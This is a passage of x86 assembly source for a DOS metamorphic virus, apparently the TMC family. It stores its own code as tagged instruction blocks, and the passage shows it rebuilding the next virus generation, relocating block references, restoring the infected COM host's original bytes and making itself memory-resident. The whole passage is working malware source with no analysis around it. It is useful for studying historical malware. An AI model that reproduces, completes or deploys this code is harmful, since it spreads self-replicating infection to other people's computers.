db 01h ; One byte instruction
push di ; Save DI at stack
db 02h ; Two bytes instruction
mov di,ax ; DI = offset of end of first part...
db 02h ; Two bytes instruction
mov al,11101001b ; JMP imm16 (opcode 0e9h)
db 01h ; One byte instruction
stosb ; Store JMP imm16
db 02h ; Two bytes instruction
mov ax,bx ; AX = offset within next virus ge...
db 01h ; One byte instruction
dec ax ; Decrease offset within next viru...
db 01h ; One byte instruction
dec ax ; Decrease offset within next viru...
db 02h ; Two bytes instruction
sub ax,di ; Subtract offset of end of first ...
db 01h ; One byte instruction
stosw ; Store 16-bit immediate
db 01h ; One byte instruction
pop di ; Load DI from stack
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc1h ; Pointer to exam_bl_
db 11101111b ; End of block
exam_bl_ db 11101110b ; Beginning of block
dw 0bc1h ; Block identification of exam_bl_
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 02h ; Two bytes instruction
cmp al,11101111b ; End of block?
db 01110100b+10000000b ; Equal? Jump to end_of_bloc
dw 0bc9h ; Pointer to end_of_bloc
db 02h ; Two bytes instruction
cmp al,10h ; Data; CALL; JMP; Data reference...?
db 01110111b+10000000b ; Above? Jump to exam_bl__
dw 0bc2h ; Pointer to exam_bl__
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
push bp ; Save BP at stack
db 04h ; Four bytes instruction
mov bp,[bp+1234h] ; BP = probability
db 11101101b ; Data reference
dw 0bech ; Pointer to probability_
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bd5h ; Pointer to rnd_in_rang
db 02h ; Two bytes instruction
or ax,ax ; Split up block?
db 01h ; One byte instruction
pop bp ; Load BP from stack
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 01110100b+10000000b ; Zero? Jump to split_bloc_
dw 0bc8h ; Pointer to split_bloc_
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc2h ; Pointer to exam_bl__
db 11101111b ; End of block
exam_bl__ db 11101110b ; Beginning of block
dw 0bc2h ; Block identification of exam_bl__
db 02h ; Two bytes instruction
cmp al,11101111b ; End of block?
db 01110100b+10000000b ; Equal? Jump to end_of_bloc
dw 0bc9h ; Pointer to end_of_bloc
db 02h ; Two bytes instruction
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
db 01110011b+10000000b ; Above or equal? Jump to exam_data_
dw 0bc4h ; Pointer to exam_data_
db 02h ; Two bytes instruction
cmp al,10h ; Data?
db 01110110b+10000000b ; Below or equal? Jump to sto_inst...
dw 0bc3h ; Pointer to sto_instruc
db 02h ; Two bytes instruction
sub al,10h ; AL = length of data
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc3h ; Pointer to sto_instruc
db 11101111b ; End of block
sto_instruc db 11101110b ; Beginning of block
dw 0bc3h ; Block identification of sto_inst...
db 02h ; Two bytes instruction
xor cx,cx ; Zero CX
db 02h ; Two bytes instruction
mov cl,al ; CL = length of instruction
db 01h ; One byte instruction
push di ; Save DI at stack
db 02h ; Two bytes instruction
mov di,bx ; DI = offset within next virus ge...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0beah ; Pointer to sto_ins_loo
db 11101111b ; End of block
sto_ins_loo db 11101110b ; Beginning of block
dw 0beah ; Block identification of store_op...
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 01h ; One byte instruction
stosb ; Store byte of instruction
db 01h ; One byte instruction
dec cx ; Decrease counter
db 01110101b+10000000b ; Not zero? Jump to sto_ins_loo
dw 0beah ; Pointer to sto_ins_loo
db 02h ; Two bytes instruction
mov bx,di ; BX = offset within next virus ge...
db 01h ; One byte instruction
pop di ; Load DI from stack
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc1h ; Pointer to exam_bl_
db 11101111b ; End of block
exam_data_ db 11101110b ; Beginning of block
dw 0bc4h ; Block identification of exam_data_
db 02h ; Two bytes instruction
cmp al,11101101b ; Data reference?
db 01110101b+10000000b ; Not equal? Jump to exam_bl___
dw 0bc5h ; Pointer to exam_bl___
db 01h ; One byte instruction
push di ; Save DI at stack
db 05h ; Five bytes instruction
mov di,es:[08h] ; DI = offset within data information
db 02h ; Two bytes instruction
mov ax,bx ; AX = offset within next virus ge...
db 01h ; One byte instruction
dec ax ; Decrease offset within next viru...
db 01h ; One byte instruction
dec ax ; Decrease offset within next viru...
db 01h ; One byte instruction
stosw ; Store offset within next virus g...
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be1h ; Pointer to decrypt_id_
db 01h ; One byte instruction
stosw ; Store block identification
db 05h ; Five bytes instruction
mov es:[08h],di ; Store offset within data informa...
db 01h ; One byte instruction
pop di ; Load DI from stack
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc1h ; Pointer to exam_bl_
db 11101111b ; End of block
exam_bl___ db 11101110b ; Beginning of block
dw 0bc5h ; Block identification of exam_bl___
db 02h ; Two bytes instruction
cmp al,11101110b ; Beginning of block?
db 01110101b+10000000b ; Not equal? Jump to sto_call_jm_
dw 0bc7h ; Pointer to sto_call_jm_
db 01h ; One byte instruction
push di ; Save DI at stack
db 05h ; Five bytes instruction
mov di,es:[04h] ; DI = offset within block informa...
db 02h ; Two bytes instruction
mov ax,bx ; AX = offset within next virus ge...
db 01h ; One byte instruction
stosw ; Store offset within next virus ge...
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be1h ; Pointer to decrypt_id_
db 01h ; One byte instruction
stosw ; Store block identification
db 05h ; Five bytes instruction
mov es:[04h],di ; Store offset within block inform...
db 03h ; Three bytes instruction
cmp ax,4c5h ; Block identification of tmc_table_?
db 01110101b+10000000b ; Not equal? Jump to exam_messag
dw 0bc6h ; Pointer to exam_messag
db 01h ; One byte instruction
push si ; Save SI at stack
db 02h ; Two bytes instruction
mov di,bx ; DI = offset within next virus ge...
db 04h ; Four bytes instruction
lea si,[bp+1234h] ; SI = offset of tmc_table_
db 11101101b ; Data reference
dw 4c5h ; Pointer to tmc_table_
db 03h ; Three bytes instruction
mov cx,(code_end-first_table)
db 02h ; Two bytes instruction
rep movsb ; Move table to top of memory
db 02h ; Two bytes instruction
mov bx,di ; BX = offset within next virus ge...
db 01h ; One byte instruction
pop si ; Load SI from stack
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bebh ; Pointer to examine_nex
db 11101111b ; End of block
exam_messag db 11101110b ; Beginning of block
dw 0bc6h ; Block identification of exam_mes...
db 03h ; Three bytes instruction
cmp ax,2328h ; Block identification of message?
db 01110101b+10000000b ; Not equal? Jump to exam_probab
dw 0bedh ; Pointer to exam_probab
db 03h ; Three bytes instruction
mov ax,14h ; Probability of including message
db 04h ; Four bytes instruction
cmp [bp+1234h],ax ; Include message?
db 11101101b ; Data reference
dw 0bech ; Pointer to probability_
db 01110011b+10000000b ; Above or equal? Jump to examine_...
dw 0bebh ; Pointer to examine_nex
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 02h ; Two bytes instruction
sub al,10h ; AL = length of message
db 02h ; Two bytes instruction
mov ah,00h ; Zero AH
db 02h ; Two bytes instruction
add si,ax ; SI = offset of end of message
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bebh ; Pointer to examine_nex
db 11101111b ; End of block
exam_probab db 11101110b ; Beginning of block
dw 0bedh ; Block identification of exam_pro...
db 03h ; Three bytes instruction
cmp ax,0bech ; Block identification of probabi...?
db 01110101b+10000000b ; Not equal? Jump to examine_nex
dw 0bebh ; Pointer to examine_nex
db 04h ; Four bytes instruction
mov ax,[bp+1234h] ; AX = probability_
db 11101101b ; Data reference
dw 0bech ; Pointer to probability_
db 01h ; One byte instruction
dec ax ; Decrease probability
db 03h ; Three bytes instruction
cmp ax,05h ; Probability too small?
db 01110011b+10000000b ; Above or equal? Jump to store_pr...
dw 0bf5h ; Pointer to store_proba
db 03h ; Three bytes instruction
mov ax,64h ; Reset probability
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bf5h ; Pointer to store_proba
db 11101111b ; End of block
store_proba db 11101110b ; Beginning of block
dw 0bf5h ; Block identification of store_pr...
db 03h ; Three bytes instruction
mov es:[bx],ax ; Store probability
db 03h ; Three bytes instruction
add bx,02h ; Add two to offset within next vi...
db 03h ; Three bytes instruction
add si,03h ; SI = offset of beginning of next...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bebh ; Pointer to examine_nex
db 11101111b ; End of block
examine_nex db 11101110b ; Beginning of block
dw 0bebh ; Block identification of examine_...
db 01h ; One byte instruction
pop di ; Load DI from stack
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc2h ; Pointer to exam_bl__
db 11101111b ; End of block
sto_call_jm_ db 11101110b ; Beginning of block
dw 0bc7h ; Block identification of sto_call...
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
push di ; Save DI at stack
db 05h ; Five bytes instruction
mov di,es:[06h] ; DI = offset within CALL; JMP; Jc...
db 02h ; Two bytes instruction
mov ax,bx ; AX = offset within next virus ge...
db 01h ; One byte instruction
stosw ; Store offset within next virus g...
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be1h ; Pointer to decrypt_id_
db 01h ; One byte instruction
stosw ; Store block identification
db 05h ; Five bytes instruction
mov es:[06h],di ; Store offset within CALL; JMP; J...
db 01h ; One byte instruction
pop di ; Load DI from stack
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 03h ; Three bytes instruction
mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc...
db 03h ; Three bytes instruction
add bx,03h ; Add three to offset within next ...
db 02h ; Two bytes instruction
cmp al,11110000b ; Jump condition?
db 01110010b+10000000b ; Below? Jump to exam_bl_
dw 0bc1h ; Pointer to exam_bl_
db 01h ; One byte instruction
inc bx ; Increase offset within next viru...
db 01h ; One byte instruction
inc bx ; Increase offset within next viru...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc1h ; Pointer to exam_bl_
db 11101111b ; End of block
split_bloc_ db 11101110b ; Beginning of block
dw 0bc8h ; Block identification of split_bloc_
db 04h ; Four bytes instruction
mov es:[di+02h],bx ; Store offset within next virus g...
db 03h ; Three bytes instruction
add bx,03h ; Add three to offset within next ...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc9h ; Pointer to end_of_bloc
db 11101111b ; End of block
end_of_bloc db 11101110b ; Beginning of block
dw 0bc9h ; Block identification of end_of_b...
db 01h ; One byte instruction
dec si ; Decrease offset of block within ...
db 03h ; Three bytes instruction
mov es:[di],si ; Store offset of block within table
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bbdh ; Pointer to split_bloc
db 11101111b ; End of block
exam_tbl_in db 11101110b ; Beginning of block
dw 0bcah ; Block identification of exam_tbl...
db 06h ; Six bytes instruction
cmp word ptr es:[0ch],00h
db 01110101b+10000000b ; End of second table? Jump to cor...
dw 0fa1h ; Pointer to correc_i16
db 01h ; One byte instruction
pop si ; Load SI from stack
db 05h ; Five bytes instruction
mov es:[0ch],bx ; Store offset within next virus g...
db 04h ; Four bytes instruction
add si,(second_table-first_table)
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0fa0h ; Pointer to initial_tmc_
db 11101111b ; End of block
correc_i16 db 11101110b ; Beginning of block
dw 0fa1h ; Block identification of correc_i16
db 01h ; One byte instruction
push es ; Save ES at stack
db 01h ; One byte instruction
pop ds ; Load DS from stack (ES)
db 04h ; Four bytes instruction
sub bx,4000h ; Subtract offset of next virus ge...
db 04h ; Four bytes instruction
mov ds:[0eh],bx ; Store length of virus
db 03h ; Three bytes instruction
mov si,2000h ; SI = offset of CALL; JMP; Jcc im...
db 04h ; Four bytes instruction
mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;...
db 02h ; Two bytes instruction
sub cx,si ; Subtract offset of CALL; JMP; Jc...
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of CALL imm16; JMP...
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of CALL imm16; JMP...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bcbh ; Pointer to jmp_call_lo
db 11101111b ; End of block
jmp_call_lo db 11101110b ; Beginning of block
dw 0bcbh ; Block identification of jmp_call...
db 01h ; One byte instruction
lodsw ; AX = offset of block within data...
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
lodsw ; AX = offset of block within data...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 01h ; One byte instruction
push si ; Save SI at stack
db 03h ; Three bytes instruction
mov si,1000h ; SI = offset of block information
db 04h ; Four bytes instruction
mov cx,ds:[04h] ; CX = offset of end of block info...
db 02h ; Two bytes instruction
sub cx,si ; Subtract offset of block informa...
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of block by two
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of block by two
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bcch ; Pointer to find_block__
db 11101111b ; End of block
find_block__ db 11101110b ; Beginning of block
dw 0bcch ; Block identification of find_blo...
db 03h ; Three bytes instruction
cmp ax,[si+02h] ; Found block?
db 01110100b+10000000b ; Equal? Jump to found_bloc
dw 0bcdh ; Pointer to found_bloc
db 03h ; Three bytes instruction
add si,04h ; SI = offset of next block in table
db 01h ; One byte instruction
dec cx ; Decrease counter
db 01110101b+10000000b ; Not zero? Jump to find_block__
dw 0bcch ; Pointer to find_block__
db 11101111b ; End of block
found_bloc db 11101110b ; Beginning of block
dw 0bcdh ; Block identification of found_bloc
db 02h ; Two bytes instruction
mov dx,[si] ; DX = offset of block
db 01h ; One byte instruction
pop si ; Load SI from stack
db 01h ; One byte instruction
pop cx ; Load CX from stack
db 01h ; One byte instruction
pop bx ; Load BX from stack (AX)
db 02h ; Two bytes instruction
mov al,[bx] ; AL = first byte of instruction
db 02h ; Two bytes instruction
cmp al,11110000b ; Jump condition?
db 01110010b+10000000b ; Below? Jump to sto_call_j
dw 0bcfh ; Pointer to sto_call_j
db 03h ; Three bytes instruction
sub byte ptr [bx],10000000b
db 01h ; One byte instruction
inc bx ; BX = offset of 8-bit immediate
db 01h ; One byte instruction
push dx ; Save DX at stack
db 02h ; Two bytes instruction
sub dx,bx ; Subtract offset within next viru...
db 01h ; One byte instruction
dec dx ; Decrease 8-bit immediate
db 03h ; Three bytes instruction
cmp dx,7fh ; 8-bit immediate out of range?
db 01111111b+10000000b ; Greater? Jump to invert_jcc_
dw 0bceh ; Pointer to invert_jcc_
db 03h ; Three bytes instruction
cmp dx,0ff80h ; 8-bit immediate out of range?
db 01111100b+10000000b ; Less? Jump to invert_jcc_
dw 0bceh ; Pointer to invert_jcc_
db 02h ; Two bytes instruction
mov [bx],dl ; Store 8-bit immediate
db 01h ; One byte instruction
inc bx ; BX = offset of end of Jcc imm8
db 04h ; Four bytes instruction
mov [bx],1001000010010000b
db 04h ; Four bytes instruction
mov byte ptr [bx+02h],10010000b
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bd0h ; Pointer to correc_i16_
db 11101111b ; End of block
invert_jcc_ db 11101110b ; Beginning of block
dw 0bceh ; Block identification of invert_jcc_
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 01h ; One byte instruction
dec bx ; BX = offset of Jcc imm8
db 03h ; Three bytes instruction
xor byte ptr [bx],00000001b
db 01h ; One byte instruction
inc bx ; BX = offset of 8-bit immediate
db 03h ; Three bytes instruction
mov byte ptr [bx],03h ; Store 8-bit immediate
db 01h ; One byte instruction
inc bx ; BX = offset of JMP imm16
db 02h ; Two bytes instruction
mov al,11101001b ; JMP imm16 (opcode 0e9h)
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bcfh ; Pointer to sto_call_j
db 11101111b ; End of block
sto_call_j db 11101110b ; Beginning of block
dw 0bcfh ; Block identification of sto_call...
db 02h ; Two bytes instruction
mov [bx],al ; Store CALL imm16; JMP imm16
db 01h ; One byte instruction
inc bx ; BX = offset of 16-bit immediate
db 02h ; Two bytes instruction
sub dx,bx ; Subtract offset within next viru...
db 01h ; One byte instruction
dec dx ; Decrease 16-bit immediate
db 01h ; One byte instruction
dec dx ; Decrease 16-bit immediate
db 02h ; Two bytes instruction
mov [bx],dx ; Store 16-bit immediate
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bd0h ; Pointer to correc_i16_
db 11101111b ; End of block
correc_i16_ db 11101110b ; Beginning of block
dw 0bd0h ; Block identification of correc_...
db 01h ; One byte instruction
dec cx ; Decrease counter
db 01110101b+10000000b ; Not zero? Jump to jmp_call_lo
dw 0bcbh ; Pointer to jmp_call_lo
db 03h ; Three bytes instruction
mov si,3000h ; SI = offset of data information
db 04h ; Four bytes instruction
mov cx,ds:[08h] ; CX = offset of end of data infor...
db 02h ; Two bytes instruction
sub cx,si ; Subtract offset of data informat...
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of data references...
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of data references...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bd1h ; Pointer to data_ref_lo
db 11101111b ; End of block
data_ref_lo db 11101110b ; Beginning of block
dw 0bd1h ; Block identification of data_ref_lo
db 01h ; One byte instruction
lodsw ; AX = offset of block within data...
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
lodsw ; AX = offset of block within data...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 01h ; One byte instruction
push si ; Save SI at stack
db 03h ; Three bytes instruction
mov si,1000h ; SI = offset of block information
db 04h ; Four bytes instruction
mov cx,ds:[04h] ; CX = offset of end of block info...
db 02h ; Two bytes instruction
sub cx,si ; Subtract offset of block informa...
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of block by two
db 02h ; Two bytes instruction
shr cx,01h ; Divide number of block by two
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bd2h ; Pointer to find_bloc
db 11101111b ; End of block
find_bloc db 11101110b ; Beginning of block
dw 0bd2h ; Block identification to find_bloc
db 03h ; Three bytes instruction
cmp ax,[si+02h] ; Found block?
db 01110100b+10000000b ; Equal? Jump to found_bloc_
dw 0bd3h ; Pointer to found_bloc_
db 03h ; Three bytes instruction
add si,04h ; SI = offset of next block in table
db 01h ; One byte instruction
dec cx ; Decrease counter
db 01110101b+10000000b ; Not zero? Jump to find_bloc
dw 0bd2h ; Pointer to find_bloc
db 11101111b ; End of block
found_bloc_ db 11101110b ; Beginning of block
dw 0bd3h ; Block identification of found_bloc_
db 02h ; Two bytes instruction
mov ax,[si] ; AX = offset of block
db 01h ; One byte instruction
pop si ; Load SI from stack
db 01h ; One byte instruction
pop cx ; Load CX from stack
db 01h ; One byte instruction
pop bx ; Load BX from stack (AX)
db 03h ; Three bytes instruction
sub ax,4000h ; Subtract offset of next virus ge...
db 02h ; Two bytes instruction
mov [bx],ax ; Store 16-bit immediate
db 01h ; One byte instruction
dec cx ; Decrease counter
db 01110101b+10000000b ; Not zero? Jump to data_ref_lo
dw 0bd1h ; Pointer to data_ref_lo
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1772h ; Pointer to restore_cod
db 11101111b ; End of block
restore_cod db 11101110b ; Beginning of block
dw 1772h ; Block identification of restore_...
db 04h ; Four bytes instruction
mov ax,[bp+1234h] ; AX = segment of PSP for current ...
db 11101101b ; Data reference
dw 0befh ; Pointer to program_seg_
db 04h ; Four bytes instruction
mov cx,[bp+1234h] ; CX = initial SS relative to star...
db 11101101b ; Data reference
dw 138ah ; Pointer to initial_ss_
db 03h ; Three bytes instruction
add cx,10h ; Add ten to initial SS relative t...
db 02h ; Two bytes instruction
add cx,ax ; Add segment of PSP for current p...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 04h ; Four bytes instruction
push [bp+1234h] ; Save initial SP at stack
db 11101101b ; Data reference
dw 138ch ; Pointer to initial_sp_
db 04h ; Four bytes instruction
mov cx,[bp+1234h] ; CX = initial CS relative to star...
db 11101101b ; Data reference
dw 1389h ; Pointer to initial_cs_
db 03h ; Three bytes instruction
add cx,10h ; Add ten to initial CS relative t...
db 02h ; Two bytes instruction
add cx,ax ; Add segment of PSP for current p...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 04h ; Four bytes instruction
push [bp+1234h] ; Save initial IP at stack
db 11101101b ; Data reference
dw 138bh ; Pointer to initial_ip_
db 01h ; One byte instruction
push ax ; Save segment of PSP for current ...
db 04h ; Four bytes instruction
push [bp+1234h] ; Save size of memory block in par...
db 11101101b ; Data reference
dw 1395h ; Pointer to mcb_size__
db 01h ; One byte instruction
push ds ; Save DS at stack
db 02h ; Two bytes instruction
mov cl,00h ; COM executable
db 04h ; Four bytes instruction
cmp [bp+1234h],cl ; COM executable?
db 11101101b ; Data reference
dw 1388h ; Pointer to executa_sta
db 01110101b+10000000b ; Not equal? Jump to move_virus__
dw 1390h ; Pointer to move_virus__
db 04h ; Four bytes instruction
lea si,[bp+1234h] ; SI = offset of origin_code_
db 11101101b ; Data reference
dw 1f40h ; Pointer to origin_code_
db 03h ; Three bytes instruction
mov ax,cs:[si] ; AX = first two bytes of original...
db 04h ; Four bytes instruction
mov cs:[100h],ax ; Store first two bytes of origina...
db 04h ; Four bytes instruction
mov al,cs:[si+02h] ; AL = last byte of original code ...
db 04h ; Four bytes instruction
mov cs:[100h+02h],al ; Store last byte of original code...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1390h ; Pointer to move_virus__
db 11101111b ; End of block
db 11101110b ; Beginning of block
dw 1774h
db 04h ; Four bytes instruction
mov ax,[bp+1234h] ; AX = segment of PSP for current ...
db 11101101b ; Data reference
dw 0befh ; Pointer to program_seg_
db 04h ; Four bytes instruction
mov cx,[bp+1234h] ; CX = initial SS relative to star...
db 11101101b ; Data reference
dw 138ah ; Pointer to initial_ss_
db 03h ; Three bytes instruction
add cx,10h ; Add ten to initial SS relative t...
db 02h ; Two bytes instruction
add cx,ax ; Add segment of PSP for current p...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 04h ; Four bytes instruction
push [bp+1234h] ; Save initial SP at stack
db 11101101b ; Data reference
dw 138ch ; Pointer to initial_sp_
db 04h ; Four bytes instruction
mov cx,[bp+1234h] ; CX = initial CS relative to star...
db 11101101b ; Data reference
dw 1389h ; Pointer to initial_cs_
db 03h ; Three bytes instruction
add cx,10h ; Add ten to initial CS relative t...
db 02h ; Two bytes instruction
add cx,ax ; Add segment of PSP for current p...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 04h ; Four bytes instruction
push [bp+1234h] ; Save incorrect IP at stack
db 11101101b ; Data reference
dw 1773h ; Pointer to incorrec_ip
db 01h ; One byte instruction
push ax ; Save segment of PSP for current ...
db 04h ; Four bytes instruction
push [bp+1234h] ; Save size of memory block in par...
db 11101101b ; Data reference
dw 1395h ; Pointer to mcb_size__
db 01h ; One byte instruction
push ds ; Save DS at stack
db 02h ; Two bytes instruction
mov cl,00h ; COM executable
db 04h ; Four bytes instruction
cmp [bp+1234h],cl ; COM executable?
db 11101101b ; Data reference
dw 1388h ; Pointer to executa_sta
db 01110101b+10000000b ; Not equal? Jump to move_virus__
dw 1390h ; Pointer to move_virus__
db 04h ; Four bytes instruction
lea si,[bp+1234h] ; SI = offset of origin_code_
db 11101101b ; Data reference
dw 1f40h ; Pointer to origin_code_
db 03h ; Three bytes instruction
mov ax,cs:[si] ; AX = first two bytes of original...
db 04h ; Four bytes instruction
mov cs:[100h],ax ; Store first two bytes of origina...
db 04h ; Four bytes instruction
mov al,cs:[si+02h] ; AX = last byte of original code ...
db 04h ; Four bytes instruction
mov cs:[100h+02h],al ; Store last byte of original code...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1390h ; Pointer to move_virus__
db 11101111b ; End of block
move_virus__ db 11101110b ; Beginning of block
dw 1390h ; Block identification of move_vir...
db 02h ; Two bytes instruction
xor ax,ax ; Zero AX
db 02h ; Two bytes instruction
mov ds,ax ; DS = segment of DOS communicatio...
db 05h ; Five bytes instruction
cmp byte ptr ds:[501h],10h
db 01110100b+10000000b ; Already resident? Jump to virus_...
dw 65h ; Pointer to virus_exit_
db 05h ; Five bytes instruction
mov byte ptr ds:[501h],10h
db 01h ; One byte instruction
push es ; Save ES at stack
db 01h ; One byte instruction
pop ds ; Load DS from stack (ES)
db 03h ; Three bytes instruction
mov ax,ds:[0ch] ; AX = offset within next virus ge...
db 03h ; Three bytes instruction
sub ax,4000h ; Subtract offset of next virus ge...
db 04h ; Four bytes instruction
mov [bp+1234h],ax ; Store offset of crypt_table
db 11101101b ; Data reference
dw 0bf1h ; Pointer to vir_exit_of
db 04h ; Four bytes instruction
mov cx,ds:[0eh] ; CX = length of virus
db 04h ; Four bytes instruction
mov [bp+1234h],cx ; Store length of virus
db 11101101b ; Data reference
dw 0bf0h ; Pointer to virus_lengt
db 03h ; Three bytes instruction
mov si,4000h ; SI = offset of next virus genera...
db 02h ; Two bytes instruction
xor di,di ; Zero DI
db 02h ; Two bytes instruction
rep movsb ; Move virus to top of memory
db 02h ; Two bytes instruction
mov cl,04h ; Divide by paragraphs
db 02h ; Two bytes instruction
shr di,cl ; DI = length of next virus genera...
db 01h ; One byte instruction
inc di ; Increase length of next virus ge...
db 04h ; Four bytes instruction
mov bx,[bp+1234h] ; BX = size of memory block in par...
db 11101101b ; Data reference
dw 1394h ; Pointer to mcb_size___
db 04h ; Four bytes instruction
sub bx,[bp+1234h] ; Subtract new size in paragraphs ...
db 11101101b ; Data reference
dw 1393h ; Pointer to new_mcb_siz
db 02h ; Two bytes instruction
sub bx,di ; Subtract length of next virus ge...
db 01h ; One byte instruction
dec bx ; Decrease new size in paragraphs
db 01h ; One byte instruction
dec bx ; Decrease new size in paragraphs
db 02h ; Two bytes instruction
cmp bx,di ; Insufficient memory?
db 01110010b+10000000b ; Below? Jump to virus_exit_
dw 65h ; Pointer to virus_exit_
db 02h ; Two bytes instruction
mov ah,4ah ; Resize memory block
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to virus_exit_
dw 65h ; Pointer to virus_exit_
db 02h ; Two bytes instruction
mov bx,di ; BX = number of paragraphs to all...
db 02h ; Two bytes instruction
mov ah,48h ; Allocate memory
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to virus_exit_
dw 65h ; Pointer to virus_exit_
db 01h ; One byte instruction
push ax ; Save AX at stack
db 01h ; One byte instruction
dec ax ; AX = segment of current Memory C...
db 02h ; Two bytes instruction
mov es,ax ; ES = segment of current Memory C...
db 07h ; Seven bytes instruction
mov word ptr es:[01h],08h
db 01h ; One byte instruction
pop es ; Load ES from stack (AX)
db 04h ; Four bytes instruction
mov cx,[bp+1234h] ; CX = length of virus
db 11101101b ; Data reference
dw 0bf0h ; Pointer to virus_lengt
db 02h ; Two bytes instruction
xor si,si ; Zero SI
db 02h ; Two bytes instruction
xor di,di ; Zero DI
db 02h ; Two bytes instruction
rep movsb ; Move virus to top of memory
db 01h ; One byte instruction
push es ; Save ES at stack
db 04h ; Four bytes instruction
push [bp+1234h] ; Save offset of virus_exit_ at stack
db 11101101b ; Data reference
dw 0bf1h ; Pointer to vir_exit_of
db 04h ; Four bytes instruction
mov al,[bp+1234h] ; AL = 8-bit encryption/decryption...
db 11101101b ; Data reference
dw 0bd7h ; Pointer to crypt_key_
db 04h ; Four bytes instruction
mov ah,[bp+1234h] ; AH = 8-bit sliding encrytion/dec...
db 11101101b ; Data reference
dw 0bd8h ; Pointer to sliding_key_
db 01h ; One byte instruction
retf ; Return far
db 11101111b ; End of block
terminate_ db 11101110b ; Beginning of block
dw 0beeh ; Block identification of terminate_
db 03h ; Three bytes instruction
mov ax,4c00h ; Terminate with return code
db 02h ; Two bytes instruction
int 21h
db 11101111b ; End of block
get_rnd_num_ db 11101110b ; Beginning of block
dw 0bd4h ; Block identification of get_rnd_...
db 01h ; One byte instruction
push cx ; Save CX at stack
db 02h ; Two bytes instruction
in al,40h ; AL = 8-bit random number
db 02h ; Two bytes instruction
mov ah,al ; AH = 8-bit random number
db 02h ; Two bytes instruction
in al,40h ; AL = 8-bit random number
db 05h ; Five bytes instruction
xor ax,es:[01h] ; AX = 16-bit random number
db 02h ; Two bytes instruction
mov cl,ah ; CL = high-order byte of 16-bit r...
db 02h ; Two bytes instruction
rol ax,cl ; AX = 16-bit random number
db 04h ; Four bytes instruction
mov es:[01h],ax ; Store 16-bit random number
db 01h ; One byte instruction
pop cx ; Load CX from stack
db 01h ; One byte instruction
ret ; Return
db 11101111b ; End of block
rnd_in_rang db 11101110b ; Beginning of block
dw 0bd5h ; Block identification of rnd_in_rang
db 02h ; Two bytes instruction
or bp,bp ; Zero BP?
db 01110100b+10000000b ; Zero? Jump to zero_range_
dw 0bd6h ; Pointer to zero_range_
db 01h ; One byte instruction
push dx ; Save DX at stack
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bd4h ; Pointer to get_rnd_num_
db 02h ; Two bytes instruction
xor dx,dx ; Zero DX
db 02h ; Two bytes instruction
div bp ; DX = random number within range
db 01h ; One byte instruction
xchg ax,dx ; AX = random number within range
db 01h ; One byte instruction
pop dx ; Load DX from stack
db 01h ; One byte instruction
ret ; Return
db 11101111b ; End of block
zero_range_ db 11101110b ; Beginning of block
dw 0bd6h ; Block identification of zero_range_
db 02h ; Two bytes instruction
xor ax,ax ; AX = random number within range
db 01h ; One byte instruction
ret ; Return
db 11101111b ; End of block
decrypt_byt db 11101110b ; Beginning of block
dw 0be0h ; Block identification of decrypt_byt
db 04h ; Four bytes instruction
mov [bp+1234h],ah ; Store AH
